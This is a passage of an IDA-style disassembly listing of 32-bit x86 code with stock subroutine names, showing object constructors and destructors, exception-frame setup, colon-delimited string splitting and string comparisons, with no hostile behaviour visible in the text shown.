		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C12
; ---------------------------------------------------------------------------


loc_413C10:				; CODE XREF: sub_413B70+95j
		xor	eax, eax


loc_413C12:				; CODE XREF: sub_413B70+9Ej
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016AE
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40200E
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_40147E
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413BF0


loc_413C93:				; CODE XREF: sub_413B70+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413CB9:				; CODE XREF: sub_413B70+26j
					; sub_413B70+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413B70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413D40	proc near		; CODE XREF: sub_401F2Dj
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_413D40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413D60:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401861
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413DA0	proc near		; CODE XREF: sub_40189Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413DA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_401CD0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_413F8E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_402112
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_413F8E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_413F8E
		push	offset byte_446F60
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413E87
		lea	ecx, [edi+2Ah]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017E4


loc_413E56:				; CODE XREF: sub_413DA0+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413E7A
		cmp	cl, bl
		jz	short loc_413E76
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413E7A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413E56


loc_413E76:				; CODE XREF: sub_413DA0+C0j
		xor	eax, eax
		jmp	short loc_413E7F
; ---------------------------------------------------------------------------


loc_413E7A:				; CODE XREF: sub_413DA0+BCj
					; sub_413DA0+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413E7F:				; CODE XREF: sub_413DA0+D8j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413E87:				; CODE XREF: sub_413DA0+A1j
		push	offset byte_446F60
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413EE3
		lea	ecx, [edi+3Fh]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017E4


loc_413EB2:				; CODE XREF: sub_413DA0+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413ED6
		cmp	cl, bl
		jz	short loc_413ED2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413ED6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413EB2


loc_413ED2:				; CODE XREF: sub_413DA0+11Cj
		xor	eax, eax
		jmp	short loc_413EDB
; ---------------------------------------------------------------------------


loc_413ED6:				; CODE XREF: sub_413DA0+118j
					; sub_413DA0+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413EDB:				; CODE XREF: sub_413DA0+134j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413EE3:				; CODE XREF: sub_413DA0+FAj
		push	58h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413F03
		mov	ecx, eax
		call	sub_401D07
		jmp	short loc_413F05
; ---------------------------------------------------------------------------


loc_413F03:				; CODE XREF: sub_413DA0+158j
		xor	eax, eax


loc_413F05:				; CODE XREF: sub_413DA0+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40200E
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40200E
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401406
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_413FDB
; ---------------------------------------------------------------------------


loc_413F8E:				; CODE XREF: sub_413DA0+44j
					; sub_413DA0+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_413FDB:				; CODE XREF: sub_413DA0+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413DA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414090	proc near		; CODE XREF: sub_401D07j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414090	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414120:				; CODE XREF: ___:00401DC0j
		push	0FFFFFFFFh
		push	offset loc_439C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_40189D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414210	proc near		; CODE XREF: sub_401537j
		add	ecx, 6Ch
		jmp	sub_401C62
sub_414210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414230	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414230
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_4367FA
sub_414230	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414273
		mov	ecx, eax
		call	sub_401BE0
; ---------------------------------------------------------------------------
		jmp	short loc_414275
; ---------------------------------------------------------------------------


loc_414273:				; CODE XREF: ___:00414268j
		xor	eax, eax


loc_414275:				; CODE XREF: ___:00414271j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40200E
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40200E
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40200E
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40200E
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401EF1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414360	proc near		; CODE XREF: sub_401BE0j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401424
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414360	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414400:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_439CD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4144D0	proc near		; CODE XREF: sub_401DACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4144D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E1F
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_414580


loc_414535:				; CODE XREF: sub_4144D0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41455D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41455D:				; CODE XREF: sub_4144D0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020A4
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_414535


loc_414580:				; CODE XREF: sub_4144D0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_4145C8
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_4145A3
		push	1
		call	sub_4019DD


loc_4145A3:				; CODE XREF: sub_4144D0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_4145C8:				; CODE XREF: sub_4144D0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4144D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414640	proc near		; CODE XREF: sub_4019DDj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402220
		test	[esp+4+arg_0], 1
		jz	short loc_414658
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414658:				; CODE XREF: sub_414640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414670	proc near		; CODE XREF: sub_402220j
		jmp	sub_401226
sub_414670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_439D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414759


loc_4146F3:				; CODE XREF: ___:00414757j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_443C84 ; ":"
		push	esi
		push	edx
		call	sub_4016AE
		mov	ecx, ebp
		call	sub_401DAC
		cmp	al, bl
		jnz	short loc_414720
		mov	[esp+13h], bl


loc_414720:				; CODE XREF: ___:0041471Aj
		inc	esi
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4146F3


loc_414759:				; CODE XREF: ___:004146F1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4147D0	proc near		; CODE XREF: sub_40210Dj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4147D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	loc_414904
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_4148AE


loc_414844:				; CODE XREF: sub_4147D0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B72
		test	eax, eax
		jz	short loc_41487C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41488B


loc_41487C:				; CODE XREF: sub_4147D0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41488B:				; CODE XREF: sub_4147D0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414844


loc_4148AE:				; CODE XREF: sub_4147D0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_414904
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_402130
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4148D1
		push	1
		call	sub_4016FE


loc_4148D1:				; CODE XREF: sub_4147D0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_414904:				; CODE XREF: sub_4147D0+2Ej
					; sub_4147D0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4147D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149A0	proc near		; CODE XREF: sub_4016FEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A5A
		test	[esp+4+arg_0], 1
		jz	short loc_4149B8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4149B8:				; CODE XREF: sub_4149A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4149A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149D0	proc near		; CODE XREF: sub_401A5Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4149D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4149D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414A60:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_439D98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40210D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414AF0:				; CODE XREF: ___:00401B31j
		push	0FFFFFFFFh
		push	offset loc_439DB8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_414BF7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jz	short loc_414BAF


loc_414B64:				; CODE XREF: ___:00414BADj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_414B8C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414B8C:				; CODE XREF: ___:00414B7Bj
		lea	ecx, [esp+4]
		call	sub_4018B6
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jnz	short loc_414B64


loc_414BAF:				; CODE XREF: ___:00414B62j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414BF7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414BD2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BC9j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414BF7:				; CODE XREF: ___:00414B1Ej
					; ___:00414BB5j
